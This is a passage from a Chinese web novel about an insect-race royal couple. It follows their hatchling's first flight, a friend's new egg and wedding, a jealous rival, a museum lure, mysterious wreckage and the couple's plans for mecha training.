“慢一点儿。”索涅连忙说。 雌虫适应高速飞行,这样的频率科尔是看不清的。坦白来说,就算索涅也有点看不清楚,必须伸出精神丝才能跟得上雌虫骨翼振动的频率。 赫尔辛斯应声放慢飞行。 在冷风中,身后修长狰狞的骨翼因外界刺激而蓬开骨刺,模样愈发冷峻危险。 “现在怎么样?”雌虫问。 “可以看清楚了。”索涅说。 他低头看去,怀里小虫崽正一眨不眨地看着外面飞行的雌父,嘴巴微微张开。索涅几乎以为虫崽要流口水,但是没有,小虫崽看起来只是被震惊到了。 索涅竟然理解了虫崽在想什么,原来这小家伙之前一直不知道他们是在教他飞,也不知道自己能飞。 这下看着外面飞行的赫尔辛斯,他身后的小骨翼也动起来,缓缓地模仿着雌父。尽管弧度还不准确,甚至看起来有点过于可爱,但总算是知道扇动翅膀了。 嗯……看起来像个翅膀超小的扑棱蛾子,笨笨的。 赫尔辛斯在植物园上空盘旋十几圈,又飞回窗户前,稳定而缓慢地拍打着骨翼,非常平稳地浮在窗前,让里面的两父子完全看清他是怎么飞行。 赫尔辛斯看到,虫崽和索涅的眼睛真的一模一样圆,一模一样可爱。这样双双盯着他,他心里不禁感到一阵好笑,同时又有一股温暖熨帖涌上心头。 今天,小虫崽崽科尔墨斯终于学会了怎样拍打自己的骨翼,也终于知道了他不光会坐,会趴,会“鹅鹅”叫,还是一只会飞的虫子。 傍晚时分,索涅和赫尔辛斯正准备庆祝虫崽的飞行进展,突然收到费伦斯的消息,说安莫因的虫蛋出生了。 “真的是一枚雌虫蛋,上面是银白色的纹路。”费伦斯笑着说,索涅听出他语气里的开心,“颜色很像安莫因,他高兴得不得了。” 索涅也为他们高兴:“我们什么时候方便去看看虫蛋?” “随时都欢迎你们来,安莫因精神好得不得了,我让他卧床休息一会儿他都不肯,现在抱着虫蛋笑得跟个傻子一样。”费伦斯说道。 “你不要在我面前这么大声地编排我。”那边传来安莫因抱怨的声音。 “我什么时候编排你了?我明明是在夸你身体好。”费伦斯笑着说,然后挂断了通话,声音渐渐消弭。 索涅和赫尔辛斯对视一眼,双双忍俊不禁。 本来成为圣子之后,雄保会和圣山的事务就已经划分给他一部分,索涅处理起来还算得心应手。但自从进阶为S级雄虫,他就感觉到手头工作量骤然变多,压力倍增。 他刚开始还担心自己时间不够,没想到进阶的精神力处理起这些来,用时反而比之前还要少,就是事务实在烦琐了些。总有某某机构或基层公务员,屁大点的小事儿也要上报,好像在他面前刷存在感似的,让他烦不胜烦。 傍晚时,索涅处理完全部工作,和赫尔辛斯、小虫崽一起来到莫里斯宫。 这是一枚嫩白色的蛋,蛋壳上有一些浅淡的银白色花纹。从远处看,索涅甚至一度以为这是个雄虫蛋。 “典型的白玉蜂雌虫,”安莫因说道,“我有没有可能再生出一枚银白色头发的雄虫蛋?” 费伦斯顿时无奈:“你才刚生完这枚虫蛋不久,还是好好休息吧。” “我身体好得不得了。”安莫因说。视线一转看到费伦斯严肃的眼神,还是渐渐噤声。 费伦斯在一些决定上会顺从他,但要是这只黑发雄虫自己已经打定主意,就算十个安莫因,也不可能改变他的主意。而且某种程度上,在这种时候往往费伦斯是正确的那个。 安莫因也就是随口一说,他也不敢再冒险。 白玉蜂与黑麟蝶的血统叠在一起,生出不健康雄蛋的概率高得吓虫。 这一回他先瞒着费伦斯,偷偷怀上蛋,赌的就是雌虫蛋的概率大过雄虫蛋。 如今雌崽雄崽都有,他彻底满足,打算金盆洗手。 赫尔辛斯其实也有一点想再生一枚蛋,他也想生个雄虫蛋,雄主基因这么好,只有一个雌虫崽崽,好像显得他雄主外强中干多没能力一样。 那些雄虫哪个不是十几二十个蛋? 不过这些他不会跟索涅说,他也知道要是他这么说出来,索涅会被他吓死。 “好可爱,圆滚滚的。”索涅说道。看着这枚雌虫蛋,他就想起了那时的小科尔,也是乖乖地窝在保育箱里,可爱得不得了。 “雄主,我们也再生一枚?”赫尔辛斯低声说道,打算趁热打铁。 “我们有一个崽崽就够了。”索涅说道。 然而回去的路上,赫尔辛斯显得有些沉默。 索涅看着他的侧脸,感受到一股强烈的委屈气息。他从头到尾思索半晌,终于找出一个自己可能说错话的地方。 “真的很想再生一枚蛋?”他轻声地问雌虫。 雌虫点点头。 索涅顿时无奈:“你告诉我不就好了。我担心的是,我可能处理不好两个崽崽的关系,要是给崽崽的爱不均匀怎么办?” “您不会的,”赫尔辛斯坚定地说,“您不会不喜欢雌崽。” 索涅一顿:“我担心的是,我会更喜欢科尔,毕竟他是我们的第一个虫崽。” 赫尔辛斯心里涌起一抹惊讶,不过也不是很强烈。他或许早该猜得到雄虫的想法。 “如果您不想让我生,我就不生了。”他轻声说。 索涅顿时笑起来:“生殖腔是你的,我也是你的,当然还是你拿主意。” 赫尔辛斯被他说得一阵害羞,尤其是虫崽晶亮的大眼睛还在打量他们。 “那……我要开始备孕了。”雌虫低声说,耳尖泛红,眼睛发亮。 “拥有一只像索涅的崽”的想法在他心里旋转。 索涅的耳朵也发红,低声“嗯”了一句。 在一片令人浮想联翩的寂静中,虫崽安静地看着他的雌父雄父,不知道自己不久之后就要有一个弟弟。 费伦斯这次并没有隐瞒安莫因虫蛋出生的事情。 第二天,圣山就在星网宣布,他们还没结婚的执政官和议会委员长又诞下了一枚雌虫蛋。 本来费伦斯预计,诞下雌蛋的时间应该在结婚日期之后,但是没想到虫蛋发育得很好,比他预计的时间早了五天,把费伦斯打了个措手不及。不过反正他和安莫因未婚先孕的事已成定局,只是多少有些无奈。 休伊斯这时还没离开联盟,也慢吞吞地送上一份祝福礼物。安莫因被一口气哽在胸口,但见这份礼物实在有用,还是收了下来。 这是一份比之前更详细的据点新地图,毕竟之前的地图可没标注过海底生物,没说还潜伏着一群咬合力大到足以啃穿核潜艇的海底巨兽。 “还算他有点诚意。”安莫因冷哼一声,随即着手开始秘密准备营救乌尔加。《 》 70-80 第71章 他们很恩爱 不管那些贵族虫子…… 不管那些贵族虫子怎么想, 费伦斯和安莫因的结婚典礼还是如期到来。不过在结婚典礼前两天,圣山首先为索涅进行了公爵加冕。和圣子加冕一样,这一场典礼进行全网直播, 全程录像都将作为珍贵影像资料收藏在圣山的数据库中。 在被收进历史长河之前, 加冕典礼和以前零碎偷拍的切片剪辑全星网爆火, ZY0003边缘星的一些虫子站出来讲述索涅圣子的平民过往, 已经粉丝百万发家致富。 索涅算是发现, 这些虫子永远不可能放弃探查他的私人生活。到底有什么用呢?就连他这个灵魂是外族人类的虫子都知道, 这些虫子们探查的结果只能是胸口又中一刀。毕竟他们的目的是找出索涅和赫尔辛斯不恩爱的证据,纯属吃饱没事干。 不过这两天,索涅发现全网明里暗里挑他刺的风向似乎有所转变。他虽然不怎么上星网, 但是偶尔也会去查询一些关键信息, 注意一下自己的风评, 自然发现似乎有一只手在控制这些评论,和那些谩骂他的虫子背后的那股力量作对。 他很轻易地就猜到了这只帮他的虫究竟是谁。 第一军的情况不容乐观。自从赫尔辛斯被捕入狱, 第一军战无不胜的形象大打折扣,就连经费也急剧缩减。虽然莫里斯联盟还不至于让军雌没饭可吃,但在赫尔辛斯回来之前,但凡不幸入编第一军的军雌,私底下都希望能够转到第二军或第三军去任职。 可以说, 之前万一发生什么大型战事,第一军就是马前卒,第三军是主力,第二军是替补。 三军既是竞争关系又是协作关系, 现在赫尔辛斯回来,三军的地位自然要发生转变,成员调动十分频繁。 赫尔辛斯也发现他不在的这几年里, 第一军有指挥能力的军雌都被挖走,一心一意只愿追随他的,大多都提前退休跟着莫尔亚与荷鲁斯满宇宙找他,重点职位被蛀虫啃掉一大半,其余全是年轻的学生。 索涅本来不想去打扰忙碌的雌虫,但是他抬头去偷看赫尔辛斯,发现对方也在看着他。 索涅忍不住一笑:“又在偷看我,被我抓住了。” “您也在偷看我。”赫尔辛斯说道。 “对呀,毕竟你这么好看。我看看我的雌君,不可以吗?”索涅十分大方地承认道。 “赫尔辛斯,我发现最近网上骂我的虫子没有那么多了,你老实说,是不是你背后偷偷努力了?” 赫尔辛斯一笑:“被您发现了。本来想先瞒着您,等我清理完那些多嘴多舌的虫子,再向您汇报,给您一个惊喜。” “他们大多是受虫雇佣的水军,应当是艾浮或西沙在操纵他们向您泼黑水。现在民众的情绪被带起一点,不过已经被我压制住。”赫尔辛斯说道,“您放心,大多数虫子对您并没有什么意见,相反他们很喜欢您。” “你是怎么发现的?”索涅饶有兴致地问。 赫尔辛斯一顿,轻咳一声:“我潜入了各大星球内网论坛,发现您在里面相当受欢迎。” 看着雌虫不自在的神色,索涅就算猜也能猜得到到底是些什么论坛。他觉得雌虫要被带坏了。 索涅的眼神让赫尔辛斯有些慌乱,他连忙转移话题聊些别的事。 第二天一早,整颗星球的气氛就相当火热。索涅起得很早,赫尔辛斯在给小虫崽打扮,他站在窗边看着外面一艘艘飞行舰从空中划过。 他和赫尔辛斯来得不早不迟,没有抢那些想表现的虫的风头。科尔是第一次正式出现在这种社交场合,被赫尔辛斯打扮得很可爱,看到各种漂亮新奇的事物,背后小骨翼就扑腾腾地要飞出去。 索涅圣子的第一只雌崽,并且看起来很受宠爱,又已经完美进化,现在已经可见成年后顶盛的容姿,不少虫心里已经开始打起这只雌崽的主意。 费伦斯和安莫因穿着各自的制服,跪在虫神的雕塑下发出誓言。 在圣山举办婚礼,那便要按照古老规制走,礼仪烦琐时间冗长,并且是一笔相当不菲的花销。 宣誓结束,虫子们渐渐流动起来,挨个上去和安莫因费伦斯道喜。索涅则是歪头靠近赫尔辛斯,说道:“我们都没有婚礼。” 赫尔辛斯怔然,他从没想过婚礼这件事。 “圣子殿下,之后是否该称呼诺米茨公爵?”西沙竟然也来了,拿着一杯酒凑过来和索涅搭话。 “这就是科尔墨斯?确实不错。”西沙矜持地给出自己的夸赞。 索涅冷淡地靠到座椅上,将小虫崽抱到自己怀里。 他神态冷漠:“你有什么事?” 西沙悄无声息握紧杯子。 “今天是你雌父雄父的婚礼,索涅殿下对我这副态度,恐怕不太好,我是来找赫尔辛斯的。” 赫尔辛斯怀里没了虫崽崽,坐姿比索涅还要嚣张,他抬眼:“西沙殿下,我是有雄主的已婚雌虫,还请不要再纠缠我。” 西沙脸色骤然涨红,语气忍不住激烈:“我是有话和你说!” 赫尔辛斯颔首:“请说。” 西沙很不要脸地说:“我希望和你单独——” “请问,我还在这儿呢,”一道阴恻恻的嗓音响起,“你说你要干什么?” 周围虫子们假装有事要做,其实都在默默地关注他们,竖起耳朵生怕漏掉一个字。 西沙看起来很气愤:“索涅殿下,赫尔辛斯是很懂礼很忠诚的雌虫,他的品行我最清楚,请你不要这么怀疑他,我只是想和他说点正事。” 所有虫清楚地看到,索涅殿下被气笑了,那双蓝眼睛没有之前黑色时那么阴沉,但等级带来的压迫感很好地弥补了这一点。 周围的空气似乎都在变拥挤。 索涅缓缓地从沙发上站起:“来,我陪你聊聊,有什么事你跟我说,我转告赫尔辛斯。” 西沙忍不住后退一步,神情僵硬:“这是我和赫尔辛斯的事——” “赫尔辛斯,你愿意让我知道吗?”索涅侧眸。 雌虫一笑,苍金色眼眸无比璀璨:“当然,全凭您做主。” “赫尔辛斯!你的傲气呢!竟然这么让他践踏你的尊严?”西沙痛心疾首,一副不敢置信的样子,“你变了。” “出什么事了?”费伦斯走过来,目光在他们中间转了一圈。 “没事,”索涅说道,“科尔有点想你们,你看他的表情。” 费伦斯低头,看到小崽子正瘪着嘴眼巴巴地看着自己,顿时心都要化了,连忙把科尔抱起来。 这边其乐融融,西沙插不进什么话,只得尴尬地悄悄走开。 他离开前还看着赫尔辛斯,这一幕被拍进摄像机,作为索涅这边闹剧的一个结尾,在星网上疯狂流转,西沙对赫尔辛斯情意未了情根深种情意绵绵的评论大肆出现。 从来不在星网做什么回应的索涅圣子,破天荒头一遭发了一个秀恩爱视频。 视频里,金发雌虫抱着一只雌虫崽崽,在铺满厚地毯的房间里转来转去。最后随着两只虫子的惊呼声,小崽子扑棱棱地拍打着翅膀飞了一小段,咯咯笑着扑向拍视频的虫。接下来就是一片漆黑,屏幕晃动中手环被别的虫拿走,画面里出现抱着雌崽笑得见牙不见眼的圣子殿下。 这段视频一时在星网掀起暴浪,直接把西沙的营销一巴掌拍死在沙滩上。 从这段视频中,有虫总结出以下几个要点。 第一,这只雌崽非常非常非常受圣子宠爱。 第二,索涅圣子会笑,笑起来像阳光一样热烈。 第三,他们很恩爱。 [不是我说,下辈子投胎成殿下的崽子需要拯救几个星系?] [没出息!我的目标是嫁给殿下!] [只有前王虫才能看到殿下这么漂亮的笑嘤嘤嘤我嫉妒不起来] [怪不得西沙殿下念念不忘,前王虫真是美神的化身,慈爱的光辉快把我融化了] [你们可以多传播一点西沙殿下和前王虫的绯闻,这样殿下一嫉妒就会给我们发福利(流口水.jig)] [原来这就是雄虫的嫉妒吗?我不是主角为什么我笑得这么开心] 索涅的嫉妒已经被赫尔辛斯安抚,西沙却正阴沉地盯着画面里幸福的一家三口。 “科亚呢?”他问。 “上将公务繁忙,安莫因委员长要求他安排一只将雌带队清扫战场。”伺候他的雌侍说道。 “该死!”看着其乐融融的画面,西沙心里愈发嫉妒,那本来是他的! 王虫雌君,进化虫崽,S级进阶,公爵爵位,数之不尽的财富和追随者,都该是他的! 离开赫尔辛斯的财富,加之那笔巨大债务,他已经逐渐开始捉襟见肘。科亚虽然是上将,但家族背景不如法门雄厚,西沙不得不又宣布了两桩婚事来填补财务漏洞。 “卡辛斯呢?”西沙最喜欢这只温驯听话的军雌,主要是身形很像赫尔辛斯。 曾经他不屑一顾,现在得不到的开始骚动,才发现找到赫尔辛斯的替身都那么难。 “也去了军部。”雌侍低声说。 西沙为此大发脾气,消息很快传到军部的科亚耳朵里。 卡辛斯正在他面前。 “才订婚不久,你一定要去?”科亚有些头疼。 对面的雌虫一身白金军服,五官清秀。 “乌尔加是我的朋友,”军雌声音温润,“我也正好再挣一笔军功。” 科亚默然,卡辛斯是只很传统的雌虫,真的打算一心一意辅佐西沙。 “行,我帮你上报,你记得跟殿下解释,”科亚顿了一下,又说道,“发个消息就行,其他我帮你处理,殿下心情不好,别去触他的霉头。” 卡辛斯感激地道谢。 三天后,第三军派出五支五十规制共两百五十架中型机甲,一个三十规制重型编队,一起前往海塔星边境清扫现场。 第72章 您观察得真仔细 七月的第一个工作…… 七月的第一个工作日, 一架银白色飞行舰停在军区总部楼顶。 雌虫伸出手,索涅抱着虫崽,也就索性握住他的手腕, 跳下飞行舰。楼顶舰场猛烈的穿堂风吹起他的衣角, 索涅压好科尔的小帽子, 眯起眼看着远处充当雕塑的巨大古老机甲。 “圣子殿下, 卡特斯·莱蒂斯向您问好。”一只棕发雌虫走上前说道, 旋即向赫尔辛斯行了个军礼, “长官,欢迎您回来,我们一直都在等您。” “我已经不是你的长官了, ”赫尔辛斯无奈地说, “你已经和我平级, 还没来得及恭喜你,卡特斯。” “可我远不如您, ”卡特斯低声道,声音有些沮丧,“第一军现在变成这样……不过幸好您回来了,莫尔亚一直在外巡航,现在我们留在这儿的军雌没几只。” “您的办公室还是老位置, 我们已经为您打扫好,您先去训练场还是先去办公室?”卡特斯问道。 赫尔辛斯则是看向索涅:“圣子殿下想去看看我的办公室吗?” 索涅于是就笑:“当然,我的荣幸,赫尔辛斯上将。” 卡特斯面露诡异地看着他们, 总觉得这些对话哪里怪怪的…… 南部军区的训练场索涅来过一次,对那些机甲星舰记忆犹新。 办公楼由亚晶和混合金属构筑,通体银灰, 风格冷硬。 赫尔辛斯的办公室在东主楼二十八层,看着这熟悉的地方,他神色间浮起一抹感慨。 “我曾经以为我不会再回来了。”雌虫说道。 他曾面临死亡。 卡特斯心里充满斗志:“但虫神眷顾,您还是回来了!” 索涅走进这里,略带新奇地看着,赫尔辛斯曾经就是在这里办公? 办公室主体为正圆形,一张巨大环形光屏浮在半空,页面一片空白,环绕着不知名黑石办公桌,上面摆放着几摞纸质文件,还有一些架着书签的书本。 索涅随手拿起一本,发现是一本笔记本,好像是编写到一半的军事学教材。 卡特斯的手环发出一阵震动,他低头一看:“长官,他们都在问我是不是您来了。” 赫尔辛斯这次来确实没大张旗鼓,但索涅那架圣山标志的飞行舰也已经足够高调。 “雄主,我先去和他们开个会。”赫尔辛斯说道。 索涅一笑:“去吧,我和崽崽在这儿等你。” 雌虫离开后,索涅抱着小虫崽在办公室转了一圈儿,站在落地窗前。 虫崽大眼睛看着外面广阔绵延的草地,正好一架轻量级机甲从天空中径直坠落,又在碰撞地面前极限减速,最后轻飘飘落地。 虫崽:“鹅!鹅!” 索涅失笑:“科尔喜欢机甲是不是?还是喜欢飞?” 虫崽扬起手:“飞!飞!” 索涅原本正笑着,突然顿住,不敢置信:“科尔!你刚才说话了?!” 虫崽大眼睛看着他傻呆呆的雄父,咧嘴一笑:“飞飞!” “太聪明了我的胖崽崽!”索涅举着小家伙帮他飞飞,小家伙立刻张开手,骨翼也扇动起来,小模样可爱极了。 突然传来一阵敲门声,索涅打开门发现门外是两只军雌,看起来唯唯诺诺有点紧张。 “阿米努尔·亚策(坎斯利·威克多)向您问好。”两只军雌说。 “有什么事。”索涅问。虫崽也好奇地探头看着他们。 “殿、殿下,上将邀请您观赏空中宝石馆。”军雌们说。 南部军区空中矿石博物馆包含各种奇珍异宝,有不少都是战利品成品奢珠,每年靠卖门票也不少挣。 索涅并没有怀疑,然而抱着虫崽来到博物馆后半小时,也没见赫尔辛斯的影子。 索涅抱着小虫崽站在一件金色宝石前,刚才一进门他就看到这东西的广告,左转右转才找到。 “科尔,你说如果能买下它送给你雌父,他会喜欢吗?”索涅跟小崽崽说道。 “索涅殿下?真幸运竟然在这里碰到您。”旁边突然传来一道声音。 是一只雌虫,穿着便服,看来是个普通游客。 “您要买这颗宝石?”雌虫说,“您对赫尔辛斯上将真是情深义重,不过听说这颗宝石是非卖品。” 索涅本来无意和他聊天,不过听到这个消息心里不免遗憾。 雌虫似乎看出他的心情,笑着说道:“这么纯净高克重的金泊确实难得,不过我知道一颗稍小一些的,纯度比这颗还要高,如果您愿意,我带您去看看?” 索涅闻言心里意动:“那便多谢了。” 雌虫的举止十分得体,他似乎对这里的宝石非常了解,一路给索涅介绍了好几种,可惜索涅都不感兴趣。 “这里的宝石大多都是我的藏品,赠予军部放在这里展览,像您这样的虫看到它们,也是它们的荣幸。”雌虫说道。 索涅没有说话,他在观察这颗宝石,看起来确实小很多,纯度什么的他也看不明白,不过伸出一根精神丝扎穿这颗宝石,发现它内部确实结构还算致密。 “这颗也是你的藏品?卖吗?多少钱?”索涅问道。 周围的虫不多,但都毫不掩饰地盯着索涅看,让他有点烦躁。 然而从远处看,索涅抱着虫崽,正在很愉快地和一只雌虫聊天。 卡特斯敏锐地稍稍后退一步,心里为艾尔斯拉公爵的雌子捏把汗。 个高腿长的军雌浑身冒着冷气,面具下凉薄的眼神对上那只雌虫,那只雌虫顿时后背绷紧,热忱沸腾的血液霎时凉透。 他心中惊疑,怎么来得这么快? “雄主。” 索涅正等待对方报价,突然听到熟悉的声音从身后传来,他回头便看到自己的雌虫大步地走过来,他勾起唇正要给雌虫看自己发现的宝石,却被雌虫一把拥进怀里。 虫崽崽夹在他们中间动弹不得,“啊啊”地叫了两声。 “您怎么跑到这儿来了。”赫尔辛斯声音低沉。 索涅一顿,瞬间明白了一切:“有两只军雌说是你约我在这儿见面。” 赫尔辛斯顿时眯起眼,卡特斯听到这话后背一片冷汗,这只是博物馆,要是索涅殿下在他们这儿出了事,他们就完了。 亚麻色头发的雌虫插嘴道:“殿下,这块宝石当初的成交价是十亿五千万,不过既然您喜欢,改日我就将它送到您宫殿。” “您喜欢这枚宝石?”赫尔辛斯也看到了展柜里的金泊。 “我想做成袖扣送给你。”索涅说,“颜色很适合你,也很配你的军服。” 这话说的,但凡听到这句话的虫都嫉妒得要死。 “送给……我?”雌虫似乎没想到这个结果,瞳孔微微张大。 “不过这枚有点小,大的那枚他们不卖。”索涅又说。 赫尔辛斯心中大定,看了一眼那只雌虫,说道:“莫里斯珠宝行年中有一场拍卖会,圣子殿下有专门的席位。” 索涅顿时放弃了这颗宝石,毕竟意义都变了。 看着他们离开的背影,卡特斯对那只亚麻色头发的雌虫说道:“不用这么费尽心机,艾尔斯拉公爵会以你为耻。” 雌虫脸色不太好看,他只是想嫁给优秀的雄虫,他有什么错? 卡特斯赶上赫尔辛斯,低声地道歉:“长官,是我的错。” “如果他们没撒谎,那两只雌虫一个叫阿米努尔·亚策,二十多岁棕发棕眼,身高大约一米九八,一个叫坎斯利·威克多,三十岁左右棕发黑眼,身高一米九二。”索涅说道。 说完,周身一片寂静。 他疑惑地看过去,发现虫虫正神色复杂地看着他。 索涅一阵好笑:“怎么了?” “您观察得真仔细。”赫尔辛斯闷闷地说。 索涅顿时气得凑到雌虫脸上咬了一口:“你怀疑我?” 卡特斯默默落后两步,成功把自己隐身。 “我没有,”他听到长官狡辩,“您记得那么清楚……” “你就是怀疑我!”索涅圣子看起来在生闷气。 他们两个叽里咕噜说了一路,卡特斯的冷汗也流了一路。 —— 安斯族的和谈书刚盖上钢印,莫里斯联盟的舰队就抵达了海塔星,这是虫族疆域里与安斯族这个多事邻居最近的一颗宜居星球,这个小星系只有这一颗宜居星,通体蓝绿棕黄交错,看起来生机勃勃。 然而上面除了驻扎军队,一只居民也没有,全是大片未开发原始森林、荒漠草原。 他们此行目的也不全是海塔星,海塔星不过是个基站,这周围有许多高科技热武器带来的太空垃圾,星系几颗非宜居固体星也被他们当做据点毁得七零八落,他们的任务是清扫战争遗迹,尽可能恢复这些星球本来的面貌。 安斯族曾经短暂地占据过海塔星,不过很快就被虫族夺回,这颗星球像一个脆弱玻璃球被他们抢来抢去,却毫发无伤。 安斯族的一些武器残骸被收入垃圾仓,本应由机械臂清点后分类处置,然而其中一堆凝聚在一起的碎片却被送到卡辛斯面前。 这像是某个仪器的残骸,不过实在是破得离谱,却又没被轰成灰烬,就像一块熔炼后就被扔到一边没有锻打的铁块,丑陋至极。 然而就是这个东西,全星舰最精密的仪器也分析不出来到底是什么物质。 这东西被放在安全罩里,卡辛斯也看不出个所以然。 难道是安斯族的新材料? 第73章 机甲 自从结婚之后,安莫因一直跟…… 自从结婚之后, 安莫因一直跟随费伦斯住在莫里斯宫。书房内,巨大的钴蓝色光屏漂浮在半空中,上面是安斯族据点星的海底剖面。 地图已经足够详细, 但安莫因面色并不轻松:“藏得可真够严实, 他怎么想到把乌尔加藏在海底?” 即便明知最后打扫战场时很有可能被联盟发现, 休伊斯也没有把乌尔加带回安斯族内。这到底是为什么?他图什么?难道他真的有那么爱乌尔加? 安莫因并不确定。在他看来, 休伊斯是典型的薄情寡义。 “最后乌尔加的这件事完全是他的手笔, 感情想必是没多少。”费伦斯说道, “他把乌尔加带回安斯族,高等级俘虏的生杀大权就会掌握在新王手里,想必休伊斯也没有越过新王处置俘虏的权利。” “不知道乌尔加现在怎么样。”安莫因心中担忧, 海底囚笼……但愿乌尔加还健全。 “乌尔加知道得很多, 我倒是觉得他把乌尔加秘密留在海塔星, 是为了单独从他口中套取情报,休伊斯和他那些兄弟的关系比仇敌好不了多少。”费伦斯接着说道。 “他的那些兄弟个个心狠手辣, 不会容下他。” 安莫因冷笑一声:“活该。” “卡辛斯送来一些有意思的东西,预计还有三天到达主星。”费伦斯看着潜心观察地图的安莫因,突然提起一件事。 “什么东西?”安莫因来了兴致。 “一堆废铁。”费伦斯说道。 虽然这么说,但安莫因了解费伦斯,雄虫既然跟他提起, 就代表这东西肯定有点儿蹊跷。 “维希还在你的研究组里?”安莫因问。 “已经没什么事需要他做了,不过报酬我还没有付给他。”费伦斯说。 安莫因:“他倒是有耐心,为了法门肯做这么多事儿。” “主星哪个贵族他没扯上点关系?”安莫因饶有兴致,“做这么多要是只为了法门, 那也有点太亏了。” “他不觉得亏就好。这最后的报酬,也不知道到底是我付给他,还是索涅付给他。”费伦斯也不清楚维希能不能达成愿望, “他倒也一直没催过我,最近似乎在帮索涅做事。” “雄保会又想给圣子办相亲会,好像被维希找了点麻烦。” “其他两位不太开心吧?”安莫因问。 费伦斯说:“西沙已经捉襟见肘,没想到奥维原来养不起两位圣子。” “执政官殿下,这不都是你的手笔?”安莫因勾起唇角。 费伦斯抢走了梅尔加最暴利的药剂业务,而索涅将梅尔加的威望捅了个大窟窿。这两只雄虫不愧是父子。 梅尔加最有力的武器,一个是特殊的基因,一个是世代积累的财富和威望。 当一颗新星冉冉升起,沉重腐朽的老牌贵族都会觉得无比刺眼,尽使些上不得台面的手段。 安莫因密切关注着所有星球的舆论氛围,自然知道一些脏水的源头在哪里。 “赫尔辛斯以前从来没为西沙做过那种事儿,我倒是没想到他对付那些舆论竟然挺有一手。”安莫因说道,“你没看见最近网上那些恶评,几天之内就销声匿迹了,也不知道他到底砸了多少钱进去。” “里面可还有你的手笔,”费伦斯挑眉,“我花钱找虫做手脚的时候,和你的订单撞了。对方说这事儿已经有虫出手,他不能收两倍的钱。” 安莫因顿时挑眉:“我找了太多都记不清了,哪个团队这么有良心?” “他们不说,身份掩盖得倒是挺好。不过我还是发现了一点端倪,似乎是索涅的朋友,名字叫恩修,家里从事风投和娱乐业务。” 安莫因闻言不禁感慨:“虫崽虽然没有多少朋友,也不怎么交际,但是每一个关系都挺硬啊。” 费伦斯笑起来:“这也是件好事,不然那么多情分还起来可不容易。” 以前赫尔辛斯都没怎么上心,就一力支撑起了西沙的所有开销。也因为所有的一切都要仰仗赫尔辛斯,西沙才那么看不惯他,以至于想要杀了他,以解心头之恨。而现在,唯一一只S级雄虫,与战神军雌的结合,简直是一加一大于二的效果。 三天后,卡辛斯派来的星舰抵达主星,费伦斯便一心投入研究,对那堆废铁做了全面彻底的分解分析。 与此同时,索涅不得不和艾浮、西沙一起接见一个小种族派来的使臣。这个种族虽然袖珍,但实力却不可小觑。 他们同样长着翅膀,不过却是布满羽毛的翅翼,而且背负在身后,不可以收回体内。不论雌性、雄性都俊美异常,个高强健,要不是因为繁衍起来十分困难,必将成为虫族的强劲竞争对手。 因为无法收回翅膀,虫族的一些极端分子私底下将这个种族称为残疾虫。 索涅知道羽族。 在玩游戏时,除了品味独特自带禁忌感的虫族,这个羽族热度超高。 羽族听说虫族出现了一只世所罕见的S级雄虫,连忙借着这个理由送上礼物,前来投诚。他们的目的便是虫族的高科技武器,以及鼎盛强大的莫里斯联盟的庇护。 虽然说是来寻求庇护,但羽族们看起来姿态端正,并不特别弱势,而这也是莫里斯联盟最中意的合作伙伴。虫族被称为宇宙中最凶猛的战斗种族,可不喜欢弱唧唧的朋友。 羽族们的到来,在星网上引起一阵讨论热潮。这支队伍里雄性和雌性各占一半,并且雄性看起来竟然要比雌性稍微强壮那么一点点,虫子们对此很关注。放眼整个宇宙,也就只有虫族是雌性追求雄性,并且雄性还弱于雌性的情况。 社会因此而动荡不安,一些犄角旮旯的边缘星球经常发生雌虫组团劫掠雄虫的暴动。但这种劫掠往往意味着,一群雌虫得到了更多雄虫的同时,必然有另一群雌虫失去这些雄虫。结果往往是两方战火交加,最终两败俱伤,被联盟挨个毙掉。 羽族们显然也发现了星网上对他们的讨论,也知道有不少虫子都很喜欢他们,但他们最重要的审美点之一就是漂亮、柔软、丰盈的羽毛。 不论是压根没有翅膀的雄虫,还是翅膀光秃秃没有毛的雌虫,都不符合羽族的审美,但这不代表他们不喜欢漂亮的容貌。 “索涅殿下,我们此行正是为您而来。”一只走在最前面的白色翅膀的羽族说道。 索涅心中尴尬,两族的交流,总提他干什么? 在羽族,黑白蓝金都是高贵的象征。而将其中两种颜色集于一体的索涅,显然很受羽族们的喜欢。 尤其索涅还有一根布满鳞片的尾钩,他的雌君金发金眼,还带着面具神神秘秘,羽族们很喜欢这种感觉。 他们觉得索涅和赫尔辛斯真时髦。 虽然种族实力和安斯族差得多,但联盟给两族的待遇相差无几,羽族显然很满意。羽族不光身上有羽毛,族内主星还有大体量羽状玉矿,很受其他种族喜爱,这次谈判给了虫族一百万吨高品质原石,又从联盟买走大量前沿激光磁流武器,还订了二十架重型机甲。 这些事都是赫尔辛斯和费伦斯在跟进,不过羽族却提出了一个让他们十分为难的请求。 他们希望能够和联盟签订永久友好条约。 经过一番商讨,联盟最终并没有答应,不过却达成了一个对赌协议。 德洛伊宫的书房内,索涅正对着光屏研究机甲。下学期将开始学习驾驶机甲,不少虫都有些基础,而索涅至今还没有进过机甲驾驶舱。 他总想练,但也总抽不出时间,一直有各种各样的事找上门。他现在在查看一些挂出来售卖的机甲。 一般有天赋的雌虫总能找到各种各样接触机甲的机会,也会有机甲大师愿意给他们定制机甲,但索涅是一只雄虫,还是S级。 S级雄虫的精神力是一股洪流,索涅也不能用普通机甲练习,联络线会被他炸成烟花。 赫尔辛斯早就看到雄虫在发愁,他观察了一会儿,起身走到索涅身后。 “您想驾驶机甲?”他问。 索涅仰起头,将后脑抵在雌虫的小腹上,“下学期就要正式学习,我一点基础都没有。” “以您的实力和悟性,您无需担心,”赫尔辛斯柔声道,“这学起来并不难。” 索涅顿时失笑:“星网上可都说驾驶机甲是天底下最难的事,五分钟就大汗淋漓筋疲力尽,精神域直接被抽干。” “您绝对不会,不过……”赫尔辛斯目光一转,“我最近也正想去收回SS09,不如您试试它?” 索涅眼睛一亮,进而忐忑:“可是听说你的机甲脾气很大,谁都看不上。” 这就是个比喻。定制款机甲有专属智能辅助系统,往往和驾驶员深度绑定,新的驾驶员起码要比前一只的精神力高出一筹,才能得到机甲认可。 赫尔辛斯勾起唇,看着雄虫碎发下明亮期待的蓝眼睛,低声说道:“我喜欢您,它也就喜欢您。” “好甜的嘴,给我亲一口。”索涅扯住雌虫的衣领。 高挑冷艳的军雌弯下腰,温驯地和他双唇相触,长长的金发从耳后滑落到索涅怀里,书房里的气氛一时有些旖旎。 “啪。”一声轻响。 似乎是从门外传来。 “啪。”又一声。 索涅与赫尔辛斯对视一眼,不禁失笑。 